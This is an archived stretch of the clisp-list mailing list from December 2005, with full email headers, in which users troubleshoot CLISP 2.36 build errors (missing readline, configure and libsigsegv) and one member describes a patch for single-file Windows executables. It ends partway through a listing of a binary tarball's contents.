User-Agent: KMail/1.8 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200512290117.09328.jimka@rdrop.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] cannot find -lreadline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 16:18:03 2005 X-Original-Date: Thu, 29 Dec 2005 01:17:09 +0100 I hope someone can help me to compile clisp-2.36, sorry i do not know much about the c compiler. When i run make in the clisp directory, here is what happens. Does anyone know what the error means? cc -O base/modules.o base/readline.o -lreadline -lncurses base/regexi.o base/regex.o base/calls.o -lcrypt -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl -L/home/users/s/sd/sds/top/Linux-x86_64/lib -lsigsegv -lc -o base/lisp.run /usr/lib64/gcc-lib/x86_64-suse-linux/3.3.5/../../../../x86_64-suse-linux/bin/ld: cannot find -lreadline collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 /opt/clisp-2.36> file base/rea*.o base/readline.o: ELF 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV), not stripped From fb@frank-buss.de Wed Dec 28 16:57:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Erm6V-0003tV-7P for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 16:57:15 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Erm6U-0005Ru-2J for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 16:57:15 -0800 Received: from galilei (xdsl-84-44-130-15.netcologne.de [84.44.130.15]) by smtp1.netcologne.de (Postfix) with ESMTP id 033FE38CB1 for ; Thu, 29 Dec 2005 01:57:03 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] cannot find -lreadline MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: Thread-Index: AcYMDVb6uXeDbMvTQOOwLLFrIkdrgAABA3lwAABU2OA= Message-Id: <20051229005703.033FE38CB1@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 16:58:01 2005 X-Original-Date: Thu, 29 Dec 2005 01:57:08 +0100 > I hope someone can help me to compile clisp-2.36, sorry i do=20 > not know much > about the c compiler. When i run make in the clisp=20 > directory, here is what=20 > happens. Does anyone know what the error means? try "--without-readline" when you call ./configure, if you=20 don't need readline or install the readline library first. --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From fb@frank-buss.de Wed Dec 28 21:37:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErqTo-0002iI-IL for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 21:37:36 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErqTn-0005fq-87 for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 21:37:36 -0800 Received: from galilei (xdsl-84-44-130-15.netcologne.de [84.44.130.15]) by smtp1.netcologne.de (Postfix) with ESMTP id 4C47E38BD7 for ; Thu, 29 Dec 2005 06:37:28 +0100 (MET) From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <20051229005703.033FE38CB1@smtp1.netcologne.de> Thread-Index: AcYMDVb6uXeDbMvTQOOwLLFrIkdrgAABA3lwAABU2OAACDn2UA== Message-Id: <20051229053728.4C47E38BD7@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 21:38:03 2005 X-Original-Date: Thu, 29 Dec 2005 06:37:31 +0100 I've patched the CLISP source a bit to allow applications without a = console and in one EXE file. The main problem was the stdout/in/err handles, = because sometimes they are 0 (or -1 on Windows 98), when not redirected and the console functions didn't work on it, so as a first hack I've opened the = NUL device with CreateFile for it. This is not so good, because then input/output redirection doesn't work anymore. Perhaps someone can take = a look at it, it should be possible to change the stream.d in a way that = it works with console applications and Windows mode applications. To deliver a Lisp application in one file, I've patched the source. Now = at startup it looks for some marker bytes in the program file itself, when called with no arguments. If found, it uses the bytes after the marker = as the image. This could be used independently of the WinMain patch. Now it is possible to create single file Lisp Windows applications, = which are zipped about 1.4 mb. See http://www.frank-buss.de/lisp/clisp.html = for a detailed description how to build it, with an example. Perhaps someone with more knowledge of the CLISP build files can = integrate this with a configure option (after fixing the stdin/out/err problem), = e.g. "--build-windows-version", like for Java: there is a java.exe = application, which uses a console and a javaw.exe, which uses WinMain for Windows = mode. The CLISP build scripts could create similiar files: lisp.exe and = lispw.exe, when enabled. I don't know if the memfile patch should be integrated by default, = perhaps it should be enabled with an option "--enable-memfile-linking". --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From kavenchuk@jenty.by Wed Dec 28 22:59:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Errl5-0006IL-6t for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 22:59:31 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Errl4-000140-1b for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 22:59:31 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ905C4Q; Thu, 29 Dec 2005 09:00:50 +0200 Message-ID: <43B389AE.80206@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Frank Buss CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Building CLISP on Windows fails References: <20051228220009.4392D38E06@smtp1.netcologne.de> In-Reply-To: <20051228220009.4392D38E06@smtp1.netcologne.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 23:00:04 2005 X-Original-Date: Thu, 29 Dec 2005 09:01:02 +0200 Frank Buss wrote: >>>clisp-2.36 from sf.net, mingw, win2k. Build and test without crash. >>> >>> >> >>winxp - build and test is ok. > > > this is strange... Oops, excuse me! My bug. I meant clisp from CVS head... Sorry. > But then again it is not so important, because the CVS > version works :-) May be... :) But I shall try Thanks. -- WBR, Yaroslav Kavenchuk. From jimka@rdrop.com Thu Dec 29 09:48:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Es1t5-00047N-Sn for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 09:48:27 -0800 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Es1t2-0002WT-P9 for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 09:48:28 -0800 Received: from [192.168.5.160] (port-212-202-193-47.dynamic.qsc.de [212.202.193.47]) (authenticated bits=0) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id jBTHmGMA035045 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 29 Dec 2005 09:48:19 -0800 (PST) (envelope-from jimka@rdrop.com) From: Jim Newton To: fb@frank-buss.de, clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] cannot find -lreadline User-Agent: KMail/1.8 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200512291848.02880.jimka@rdrop.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 29 09:49:08 2005 X-Original-Date: Thu, 29 Dec 2005 18:48:02 +0100 i do not have a ./configure is this something that make is supposed to create? make seems to fail before it creates it. when i look in the README file, it does not say anything about ./configure by the way. -jim -------------------------- Content-Type=message/rfc822 Content-Description=embedded message From: "Frank Buss" To: Subject: RE: [clisp-list] cannot find -lreadline Date: Thu, 29 Dec 2005 01:57:08 +0100 > I hope someone can help me to compile clisp-2.36, sorry i do=20 > not know much > about the c compiler. When i run make in the clisp=20 > directory, here is what=20 > happens. Does anyone know what the error means? try "--without-readline" when you call ./configure, if you=20 don't need readline or install the readline library first. --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From mm3@zepler.net Thu Dec 29 14:51:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Es6bs-00033A-Kf for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 14:51:00 -0800 Received: from ms1.city.ac.uk ([138.40.12.21]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Es6br-0001h7-Dn for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 14:51:00 -0800 Received: from mailswitch.city.ac.uk ([138.40.12.12] helo=mailswitch) by ms1.city.ac.uk with smtp (Exim 4.20) id 1Es6ba-0001fk-60 for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 22:50:42 +0000 Received: from ah-m2b2.city.ac.uk ([138.40.156.205]) by mailswitch with esmtp (Exim 3.16 #5) id 1Es6bT-0002yA-00 for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 22:50:41 +0000 Message-ID: <43B46AA8.70804@zepler.net> From: Marcin Tustin User-Agent: Thunderbird 1.5 (X11/20051201) MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cannot find -lreadline References: <200512291848.02880.jimka@rdrop.com> In-Reply-To: <200512291848.02880.jimka@rdrop.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact Computing Services for more information (2.63) X-City-MailScanner: Found to be clean X-City-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=0, required 4.5) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 29 14:51:02 2005 X-Original-Date: Thu, 29 Dec 2005 23:00:56 +0000 Using the linux i686 tarball from sourceforge, I find that the make process fails on -lsigsegv, which to be honest I didn't even realise was a library. Any recommendations? Jim Newton wrote: > i do not have a ./configure > is this something that make is supposed to create? > make seems to fail before it creates it. > > when i look in the README file, it does not say anything > about ./configure by the way. > > -jim > > > -------------------------- > Content-Type=message/rfc822 > Content-Description=embedded message > From: "Frank Buss" > To: > Subject: RE: [clisp-list] cannot find -lreadline > Date: Thu, 29 Dec 2005 01:57:08 +0100 > >> I hope someone can help me to compile clisp-2.36, sorry i do=20 >> not know much >> about the c compiler. When i run make in the clisp=20 >> directory, here is what=20 >> happens. Does anyone know what the error means? > > try "--without-readline" when you call ./configure, if you=20 > don't need readline or install the readline library first. > > --=20 > Frank Bu=DF, fb@frank-buss.de > http://www.frank-buss.de, http://www.it4-systems.de > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do you grep through log files > for problems? Stop! Download the new AJAX search engine that makes > searching your log files as easy as surfing the web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From fb@frank-buss.de Thu Dec 29 15:38:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Es7LW-0005Gz-E8 for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 15:38:10 -0800 Received: from smtp4.netcologne.de ([194.8.194.137]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Es7LV-0004iG-3N for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 15:38:10 -0800 Received: from galilei (xdsl-84-44-234-250.netcologne.de [84.44.234.250]) by smtp4.netcologne.de (Postfix) with ESMTP id B4100DA492 for ; Fri, 30 Dec 2005 00:38:00 +0100 (CET) From: "Frank Buss" To: Subject: RE: [clisp-list] cannot find -lreadline MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYMylvRSIZu2ABXRNG4A3xnaVBIowAA0a4gAABHbUAAAIUaUA== Message-Id: <20051229233800.B4100DA492@smtp4.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 29 15:39:01 2005 X-Original-Date: Fri, 30 Dec 2005 00:38:03 +0100 > Using the linux i686 tarball from sourceforge, I find > that the make > process fails on -lsigsegv, which to be honest I didn't even realise > was a library. Any recommendations? download http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz and install it like explained at http://www.frank-buss.de/lisp/clisp.html (should be mostly the same for Unix). > > i do not have a ./configure > > is this something that make is supposed to create? > > make seems to fail before it creates it. in the source release at http://prdownloads.sourceforge.net/clisp/clisp-2.36.tar.gz?download there is a file called INSTALL, which says: "configure main configuration script" There is also a file called "configure" :-) -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Thu Dec 29 21:20:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EsCgc-00070f-G7 for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 21:20:18 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EsCgb-0007AY-0K for clisp-list@lists.sourceforge.net; Thu, 29 Dec 2005 21:20:18 -0800 Received: from pool-71-247-45-110.nycmny.east.verizon.net (HELO WINSTEINGOLDLAP) ([71.247.45.110]) by smtp01.mrf.mail.rcn.net with ESMTP; 30 Dec 2005 00:20:16 -0500 X-IronPort-AV: i="3.99,313,1131339600"; d="scan'208"; a="147652421:sNHT23170168" To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5299.70.168.64.167.1135746948.squirrel@mail.nontrivial.org> (Jeff Bowman's message of "Tue, 27 Dec 2005 23:15:48 -0600 (CST)") References: <5299.70.168.64.167.1135746948.squirrel@mail.nontrivial.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: build question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 29 21:21:02 2005 X-Original-Date: Fri, 30 Dec 2005 00:19:03 -0500 > * Jeff Bowman [2005-12-27 23:15:48 -0600]: > > I have run apt-get install libpq-dev which installs header files into > /usr/include/postgresql. However, it seems that directory is not being > included in the search for headers. I have also tried setting the > INCLUDES environment variable to /usr/include/postgresql to no avail. I think that postgresql is normally installed as follows: /usr/include/postgres_ext.h /usr/include/libpq-fe.h /usr/include/pg*.h /usr/include/postgresql/* /usr/include/libpq/* where is your postgres_ext.h? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.memri.org/ http://www.honestreporting.com http://www.iris.org.il http://www.palestinefacts.org/ http://ffii.org/ MS Windows vs IBM OS/2: Why marketing matters more than technology... From jimka@rdrop.com Fri Dec 30 05:10:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EsK1y-0002iK-Ux for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 05:10:50 -0800 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EsK1y-0001Vx-9r for clisp-list@lists.sourceforge.net; Fri, 30 Dec 2005 05:10:50 -0800 Received: from [192.168.5.160] (port-212-202-193-47.dynamic.qsc.de [212.202.193.47]) (authenticated bits=0) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id jBUDAYRY095939 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Fri, 30 Dec 2005 05:10:39 -0800 (PST) (envelope-from jimka@rdrop.com) From: Jim Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.8 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200512301410.13544.jimka@rdrop.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] configure and INSTALL missing from 2.36 tar ball Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 30 05:11:03 2005 X-Original-Date: Fri, 30 Dec 2005 14:10:13 +0100 the file clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz which i've downloaded from http://prdownloads.sourceforge.net/clisp/clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar.gz?use_mirror=switch seems to be missing the files INSTALL and configure. Am i confused? what is the purpose of clisp-2.36-x86_64-unknown-linux-gnu-2.6.9.tar? here is what is in the tar file... clisp-2.36/ clisp-2.36/base/ clisp-2.36/base/lispinit.mem clisp-2.36/base/gettext.o clisp-2.36/base/modules.o clisp-2.36/base/regex.o clisp-2.36/base/libcharset.a clisp-2.36/base/readline.o clisp-2.36/base/lisp.a clisp-2.36/base/modules.h clisp-2.36/base/libcallback.a clisp-2.36/base/libnoreadline.a clisp-2.36/base/regexp.dvi clisp-2.36/base/regexi.o clisp-2.36/base/calls.o clisp-2.36/base/libavcall.a clisp-2.36/base/makevars clisp-2.36/ANNOUNCE clisp-2.36/SUMMARY clisp-2.36/syscalls/ clisp-2.36/syscalls/preload.lisp clisp-2.36/syscalls/posix.lisp clisp-2.36/syscalls/link.sh clisp-2.36/syscalls/Makefile clisp-2.36/syscalls/calls.o clisp-2.36/doc/ clisp-2.36/doc/editors.txt clisp-2.36/doc/clisp.ps clisp-2.36/doc/CLOS-guide.txt clisp-2.36/doc/LISP-tutorial.txt clisp-2.36/doc/impnotes.css clisp-2.36/doc/clisp.dvi clisp-2.36/doc/impnotes.html clisp-2.36/doc/clisp.man clisp-2.36/doc/clisp.1 clisp-2.36/doc/clisp.pdf clisp-2.36/doc/clisp.html clisp-2.36/doc/clisp.png clisp-2.36/NEWS clisp-2.36/i18n/ clisp-2.36/i18n/gettext.o clisp-2.36/i18n/i18n.xml clisp-2.36/i18n/preload.lisp clisp-2.36/i18n/link.sh clisp-2.36/i18n/Makefile clisp-2.36/i18n/i18n.lisp clisp-2.36/README clisp-2.36/rawsock/ clisp-2.36/rawsock/preload.lisp clisp-2.36/rawsock/link.sh clisp-2.36/rawsock/Makefile clisp-2.36/rawsock/rawsock.o clisp-2.36/rawsock/rawsock.xml clisp-2.36/rawsock/sock.lisp clisp-2.36/data/ clisp-2.36/data/Symbol-Table.text clisp-2.36/data/UnicodeDataFull.txt clisp-2.36/regexp/ clisp-2.36/regexp/preload.lisp clisp-2.36/regexp/regex.o clisp-2.36/regexp/link.sh clisp-2.36/regexp/README clisp-2.36/regexp/Makefile clisp-2.36/regexp/regexp.dvi clisp-2.36/regexp/regexi.o clisp-2.36/regexp/regexp.texinfo clisp-2.36/regexp/regexp.lisp clisp-2.36/Makefile clisp-2.36/src/ clisp-2.36/src/loop.fas clisp-2.36/src/reploop.lisp clisp-2.36/src/fill-out.lisp clisp-2.36/src/config.lisp clisp-2.36/src/clos-methcomb4.lisp clisp-2.36/src/documentation.fas clisp-2.36/src/dribble.lisp clisp-2.36/src/clos-genfun3.lisp clisp-2.36/src/russian.lisp clisp-2.36/src/french.lisp clisp-2.36/src/gray.fas clisp-2.36/src/fill-out.fas clisp-2.36/src/clos-genfun2a.lisp clisp-2.36/src/functions.fas clisp-2.36/src/clos-class1.fas clisp-2.36/src/clos-stablehash1.lisp clisp-2.36/src/german.lisp clisp-2.36/src/deprecated.fas clisp-2.36/src/inspect.fas clisp-2.36/src/clos-class5.lisp clisp-2.36/src/russian.fas clisp-2.36/src/danish.lisp clisp-2.36/src/clos.lisp clisp-2.36/src/clos-method2.fas clisp-2.36/src/clos-slots2.fas clisp-2.36/src/timezone.lisp clisp-2.36/src/loop.lisp clisp-2.36/src/clhs.lisp clisp-2.36/src/clos-genfun1.fas clisp-2.36/src/clos-methcomb2.fas clisp-2.36/src/pprint.fas clisp-2.36/src/format.lisp clisp-2.36/src/clos.fas clisp-2.36/src/complete.fas clisp-2.36/src/defpackage.fas clisp-2.36/src/gray.lisp clisp-2.36/src/clos-genfun2b.lisp clisp-2.36/src/clos-class5.fas clisp-2.36/src/clos-metaobject1.fas clisp-2.36/src/condition.fas clisp-2.36/src/deprecated.lisp clisp-2.36/src/complete.lisp clisp-2.36/src/clos-slots2.lisp clisp-2.36/src/clos-genfun2a.fas clisp-2.36/src/room.fas clisp-2.36/src/loadform.lisp clisp-2.36/src/clos-method4.lisp clisp-2.36/src/dutch.fas clisp-2.36/src/savemem.lisp clisp-2.36/src/exporting.lisp clisp-2.36/src/keyboard.lisp clisp-2.36/src/clos-dependent.lisp clisp-2.36/src/screen.fas clisp-2.36/src/defseq.fas clisp-2.36/src/inspect.lisp clisp-2.36/src/dribble.fas clisp-2.36/src/query.fas clisp-2.36/src/clos-specializer1.lisp clisp-2.36/src/clos-specializer3.fas clisp-2.36/src/clos-methcomb3.fas clisp-2.36/src/clos-stablehash1.fas clisp-2.36/src/clos-methcomb3.lisp clisp-2.36/src/keyboard.fas clisp-2.36/src/trace.lisp clisp-2.36/src/clos-macros.fas clisp-2.36/src/clos-slotdef2.fas clisp-2.36/src/format.fas clisp-2.36/src/clos-specializer1.fas clisp-2.36/src/clos-method4.fas clisp-2.36/src/clos-genfun2b.fas clisp-2.36/src/defstruct.lisp clisp-2.36/src/config.fas clisp-2.36/src/room.lisp clisp-2.36/src/floatprint.lisp clisp-2.36/src/macros3.fas clisp-2.36/src/macros1.fas clisp-2.36/src/places.lisp clisp-2.36/src/clos-genfun3.fas clisp-2.36/src/clos-slots1.lisp clisp-2.36/src/places.fas clisp-2.36/src/clos-method1.lisp clisp-2.36/src/backquote.lisp clisp-2.36/src/international.lisp clisp-2.36/src/clos-class6.fas clisp-2.36/src/query.lisp clisp-2.36/src/edit.lisp clisp-2.36/src/clos-metaobject1.lisp clisp-2.36/src/disassem.lisp clisp-2.36/src/clos-print.lisp clisp-2.36/src/clos-specializer3.lisp clisp-2.36/src/savemem.fas clisp-2.36/src/clos-class3.fas clisp-2.36/src/describe.lisp clisp-2.36/src/cmacros.lisp clisp-2.36/src/edit.fas clisp-2.36/src/clos-methcomb1.lisp clisp-2.36/src/cmacros.fas clisp-2.36/src/clos-class4.fas clisp-2.36/src/functions.lisp clisp-2.36/src/clos-class0.fas clisp-2.36/src/clos-class1.lisp clisp-2.36/src/clos-dependent.fas clisp-2.36/src/clos-class6.lisp clisp-2.36/src/clos-package.fas clisp-2.36/src/clos-custom.lisp clisp-2.36/src/clos-slotdef1.lisp clisp-2.36/src/clos-class0.lisp clisp-2.36/src/macros1.lisp clisp-2.36/src/clisp.c clisp-2.36/src/macros2.lisp clisp-2.36/src/describe.fas clisp-2.36/src/clos-stablehash2.fas clisp-2.36/src/clos-method3.lisp clisp-2.36/src/gstream.fas clisp-2.36/src/runprog.lisp clisp-2.36/src/defs2.lisp clisp-2.36/src/case-sensitive.lisp clisp-2.36/src/defs2.fas clisp-2.36/src/xcharin.lisp clisp-2.36/src/lambdalist.fas clisp-2.36/src/defs1.fas clisp-2.36/src/clos-methcomb4.fas clisp-2.36/src/clos-genfun1.lisp clisp-2.36/src/macros3.lisp clisp-2.36/src/loadform.fas clisp-2.36/src/defstruct.fas clisp-2.36/src/clos-methcomb2.lisp clisp-2.36/src/reploop.fas clisp-2.36/src/clos-method3.fas clisp-2.36/src/clos-stablehash2.lisp clisp-2.36/src/clos-genfun5.fas clisp-2.36/src/clos-package.lisp clisp-2.36/src/defpackage.lisp clisp-2.36/src/backquote.fas clisp-2.36/src/case-sensitive.fas clisp-2.36/src/clos-class2.lisp clisp-2.36/src/pprint.lisp clisp-2.36/src/clos-class3.lisp clisp-2.36/src/compiler.lisp clisp-2.36/src/condition.lisp clisp-2.36/src/defmacro.fas clisp-2.36/src/spanish.lisp clisp-2.36/src/init.fas clisp-2.36/src/defseq.lisp clisp-2.36/src/defs1.lisp clisp-2.36/src/exporting.fas clisp-2.36/src/subtypep.fas clisp-2.36/src/clos-slots1.fas clisp-2.36/src/clos-method2.lisp clisp-2.36/src/clhs.fas clisp-2.36/src/clos-methcomb1.fas clisp-2.36/src/floatprint.fas clisp-2.36/src/clos-genfun4.fas 